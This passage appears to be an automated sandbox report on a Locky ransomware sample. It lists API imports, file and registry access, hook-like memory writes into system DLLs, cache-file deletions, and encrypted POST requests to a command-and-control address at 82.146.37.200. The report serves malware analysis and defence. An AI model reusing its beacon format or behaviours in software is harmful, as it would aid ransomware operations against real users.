"00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateFontA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetObjectA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyKey"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptSetKeyParam"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetTokenInformation"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetFileSecurityW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "MapGenericMask"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "AccessCheck"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetCrackUrlA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetSetOptionA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetQueryOptionA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpAddRequestHeadersA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetWriteFile"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpEndRequestA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HttpQueryInfoA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WNetOpenEnumW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WNetEnumResourceW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WNetCloseEnum"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "ObtainUserAgentString"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "RtlCompressBuffer"; Source: "00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "RtlDecompressBuffer"; Source: "00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00008908.00000001.334926.02190000.00000040.mdmp")37:T416,"locky.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "locky.exe" trying to touch file "C:\locky.exe" "locky.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "locky.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "locky.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "locky.exe" trying to touch file "C:\Windows\SysWOW64\winhttp.dll" "locky.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22621.608_none_42d541138da2ebd2\comctl32.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\msimg32.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\version.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\IPHLPAPI.DLL" "locky.exe" trying to touch file "C:\Windows\SysWOW64\oledlg.dll" "locky.exe" trying to touch file "C:\Windows\SysWOW64\wtsapi32.dll"38:Tadf,".exe" wrote bytes "7d07417781ed3f77ae863e77c6e03d77effd40772d163f7760144177478d3e77a8e23d7760893e7700000000ad3712768b2d1276b641127600000000" to virtual address "0x73611000" (part of module "WSHTCPIP.DLL") ".exe" wrote bytes "7111dd007a3bdc00ab8b02007f950200fc8c0200729602006cc805001ecdd9007d26d900" to virtual address "0x766607E4" (part of module "USER32.DLL") ".exe" wrote bytes "b4360200" to virtual address "0x74C74EA4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "0efc407781ed3f77ae863e77c6e03d77effd40772d163f77c0fc3c77da8f477760144177478d3e77a8e23d7760893e7700000000ad3712768b2d1276b641127600000000" to virtual address "0x73671000" (part of module "WSHIP6.DLL") ".exe" wrote bytes "d83ac774" to virtual address "0x74C801E0" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b436c774" to virtual address "0x74C80200" (part of module "SSPICLI.DLL") ".exe" wrote bytes "a0118c73" to virtual address "0x73A24028" (part of module "WEBIO.DLL") ".exe" wrote bytes "b436c774" to virtual address "0x74C801E4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b4360200" to virtual address "0x74C74D68" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83ac774" to virtual address "0x74C80258" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b436c774" to virtual address "0x74C80278" (part of module "SSPICLI.DLL") ".exe" wrote bytes "68130000" to virtual address "0x76121680" (part of module "WS2_32.DLL") ".exe" wrote bytes "b810158c73ffe0" to virtual address "0x74C736B4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b436c774" to virtual address "0x74C8025C" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83ac774" to virtual address "0x74C801FC" (part of module "SSPICLI.DLL") ".exe" wrote bytes "f811bd762014bd764cbcbf76f516bd76a911bd768548bd76b934bd76a934bd766834bd7600000000a56b2a76e4852a76e04d2a769cc02a76a3bf2a7692ae2a760c7d2a7600000000" to virtual address "0x73951000" (part of module "MSIMG32.DLL") ".exe" wrote bytes "c0df3d771cf93c77ccf83c770d643e7700000000c011bd7600000000fc3ebd7600000000e013bd76000000009457337625e03d77c6e03d7700000000bc6a327600000000cf31bd760000000093193376000000002c32bd7600000000" to virtual address "0x765A1000" (part of module "NSI.DLL") ".exe" wrote bytes "b880118c73ffe0" to virtual address "0x76121368" (part of module "WS2_32.DLL") ".exe" wrote bytes "d83ac774" to virtual address "0x74C80274" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b890128c73ffe0" to virtual address "0x74C73AD8" (part of module "SSPICLI.DLL")39:T501,"locky.exe" trying to access non-existent file "C:\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\system\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Program Files (x86)\Common Files\Oracle\Java\javapath\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\system32\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\WindowsApps\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Program Files\mitmproxy\bin\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\nvm\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Program Files\nodejs\0x64bc6d21.d" "locky.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\mswsock.dll.mui" "locky.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\wshqos.dll.mui"3a:T6c4,"locky.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76750000 "locky.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76750000 "locky.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76750000 "locky.exe" loaded module "KERNEL32" at base 77630000 "locky.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73dd0000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74e90000 "locky.exe" loaded module "0X64BC6D21.D" at base 0 "locky.exe" loaded module "KERNEL32.DLL" at base 77630000 "locky.exe" loaded module "USER32.DLL" at base 75730000 "locky.exe" loaded module "GDI32.DLL" at base 75ac0000 "locky.exe" loaded module "ADVAPI32.DLL" at base 75a40000 "locky.exe" loaded module "SHELL32.DLL" at base 76fc0000 "locky.exe" loaded module "WININET.DLL" at base 74f60000 "locky.exe" loaded module "MPR.DLL" at base 753f0000 "locky.exe" loaded module "NETAPI32.DLL" at base 73db0000 "locky.exe" loaded module "URLMON.DLL" at base 74770000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73d50000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75940000 "locky.exe" loaded module "RPCRT4.DLL" at base 76f00000 "locky.exe" loaded module "SSPICLI.DLL" at base 74380000 "locky.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 73540000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73540000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74220000 "locky.exe" loaded module "WINHTTP.DLL" at base 73fe0000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 734f0000 "locky.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 734900003b:T614,"POST /submit.php HTTP/1.1 Content-type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: 82.146.37.200 Content-Length: 100 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "��,7E_�[��~�N��T�<=��R�U�m�6In2�N��M}�e�_��y��u�qg��8��1^n�<0��]��" HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Sun 16 Feb 2025 00:47:21 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F6479206267636F6C6F72....... "POST /submit.php HTTP/1.1 Content-type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: 82.146.37.200 Content-Length: 100 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "��,7E_�[��~�N��T�<=��R�U�m�6In2�N��M}�e�_��y��u�qg��8��1^n�<0��]��" HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Sun 16 Feb 2025 00:49:17 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F6479206267636F6C6F72.......3c:T571,Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000000.333005.02750000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.022D0000.00000004.mdmp, 00000000-00008908.00000001.334926.02750000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.02460000.00000004.mdmp, 00000000-00008908.00000002.336847.02750000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000000.333005.02750000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.022D0000.00000004.mdmp, 00000000-00008908.00000001.334926.02750000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.02460000.00000004.mdmp, 00000000-00008908.00000002.336847.02750000.00000004.mdmp") Found string "\Device\HarddiskVolume3\locky.exe" (Indicator: "\Device\"; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp")3d:Tf91,"C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\desktop.ini" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\08ce8e54-41ba-4695-9963-a7669022faec_12[1].eot" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\0_btk_5_gw_300x169[1].jpg" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\125ffa03-7e1c-4609-a37c-8b7236ac3eb9_14[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\246059135[1].js" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\358120[1].js" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\36-42c116-9eb79ea2[1]" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\4300ae64-546c-4bbe-9026-6779b3684fb8_32[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\55494218-ac03-4875-a911-6032365741c1_14[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\57-b22b3e-91cdfbc1[1].txt" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\6FVhx3JUCR7[1].js" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\82-60b6d5-91cdfbc1[1].txt" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA2TIjN[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3e1pt[2].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3vOVA[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA3vOVA[2].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA42pjY[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA58NQj[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA61ILp[1].png" for deletion "C:\49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\AA61yi9[1].png" for deletion3e:T9aa,"locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "MIGRATEPROXY"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTOCONFIGURL"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTODETECT"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SECUREAUTOPROXY"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SENDDNSTOHOST"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "WINHTTPLOWERCASEHOST"; Value: 